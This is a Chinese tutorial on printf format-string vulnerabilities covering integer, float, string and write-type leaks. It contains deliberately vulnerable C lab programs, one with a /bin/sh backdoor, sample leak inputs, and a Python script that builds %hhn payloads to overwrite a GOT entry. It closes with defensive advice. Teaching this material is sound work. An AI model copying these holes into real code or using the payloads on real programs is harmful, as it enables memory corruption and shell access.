printf 常见漏洞
字数 1094 2025-08-05 08:19:22
printf 格式化字符串漏洞详解
概述
printf 格式化字符串漏洞是二进制安全中常见的一类漏洞,攻击者可以利用格式化字符串的特性读取或写入内存数据,甚至实现任意代码执行。本文将详细分析几种常见的 printf 漏洞利用方式。
漏洞原理
printf 函数在处理用户提供的格式化字符串时,如果未进行严格验证,攻击者可以通过精心构造的格式化字符串实现:
- 内存信息泄露(读取栈或寄存器中的数据)
- 内存写入(修改特定内存地址的值)
- 程序控制流劫持
漏洞类型及利用方式
1. 整数型泄露
原理:利用 %n$d 直接指定参数位置进行偏移,泄露指定内存位置的信息。
示例代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
int login(long long password) {
char buf[0x10] = {0};
long long your_pass;
scanf("%15s", buf);
printf(buf);
printf("\n");
scanf("%lld", &your_pass);
return password == your_pass;
}
int main() {
long long password;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
password = rand();
if(login(password)) {
system("/bin/sh");
} else {
printf("Failed!\n");
}
return 0;
}
利用方法:
- 通过调试确定 password 在栈上的位置
- 计算与 printf 参数的偏移量(通常为寄存器传参数6 + 栈偏移)
- 使用
%(n+6)$lld格式泄露 password 值
实际利用:
./login
%17$lld
706665966
706665966
2. 浮点型泄露
原理:使用 %a 以16进制形式输出 double 型变量,可以精确泄露内存地址。
特点:
%llf可能因精度丢失而不精确%a能更可靠地泄露地址- 编译器会根据浮点参数数量设置 eax,若无浮点参数则 eax=0
示例代码:
#include <stdio.h>
#include <dlfcn.h>
int main() {
char* libc_addr = *(char**)dlopen("libc.so.6", RTLD_LAZY);
printf("libc addr: %p\n", libc_addr);
printf("%lx\n", (long long)(libc_addr + 0x5f4000) >> 8);
printf("%a\n%a\n");
return 0;
}
调试分析:
0x7ffff7844e89 <printf+9> mov qword ptr [rsp + 0x28], rsi
0x7ffff7844e8e <printf+14> mov qword ptr [rsp + 0x30], rdx
0x7ffff7844e93 <printf+19> mov qword ptr [rsp + 0x38], rcx
0x7ffff7844e98 <printf+24> mov qword ptr [rsp + 0x40], r8
0x7ffff7844e9d <printf+29> mov qword ptr [rsp + 0x48], r9
实际输出:
libc addr: 0x7f9223e6d000
7f92244610
0x0p+0
0x0.07f92244610ep-1022
3. 字符串泄露
原理:使用 %s 可以泄露栈上或寄存器指向的字符串内容。
示例代码:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
void timeout() {
puts("Timeout!");
exit(0);
}
int main() {
char buf[0x10];
scanf("%15s", buf);
signal(14, timeout);
alarm(60);
printf(buf);
return 0;
}
调试信息:
RSI 0x7fffffffd840 —▸ 0x55555555483a (timeout) ◂— push rbp
利用方法:
通过 %s 可以泄露 signal 函数参数中指向 timeout 函数的指针,从而获取程序基地址。
4. 写入型漏洞
原理:使用 %n 可以向指定地址写入数据,配合其他格式化字符可以实现精确写入。
两种场景:
- 栈地址可控:实现任意地址写
- 只能写到栈中指定地址:进行部分覆盖
示例代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void backdoor() {
execve("/bin/sh", NULL, NULL);
asm("xor %rdi, %rdi\nmov $60, %eax\nsyscall");
}
int main() {
char buf[0x100];
scanf("%255s", buf);
printf(buf);
exit(0);
}
利用方法(假设未开启PIE):
修改 exit 函数的 got 表地址为 backdoor 函数地址。
payload 构造示例(Python):
import struct
content = 'abcdefgh'
addr = 0x400000
offset = 16
inner_offset = 3
payload = ''
last = 0
for i in range(len(content)):
payload += ' %%%dc %%%d$hhn' % ((ord(content[i]) - last + 0x100) % 0x100, offset + i)
last = ord(content[i])
payload += 'a' * inner_offset + ''.join([struct.pack('Q', addr + i) for i in range(len(content))])
print(payload)
防御措施
- 永远不要使用用户输入作为 printf 的第一个参数
- 使用固定字符串作为格式化字符串,如
printf("%s", user_input) - 启用编译器的安全保护机制(如 FORTIFY_SOURCE)
- 启用地址随机化(ASLR)和不可执行保护(NX)
总结
printf 格式化字符串漏洞是二进制安全中的重要攻击面,攻击者可以通过精心构造的格式化字符串实现信息泄露和内存写入。理解这些漏洞的原理和利用方式对于开发安全代码和进行安全审计都至关重要。开发者应始终遵循安全编程实践,避免将用户输入直接作为格式化字符串使用。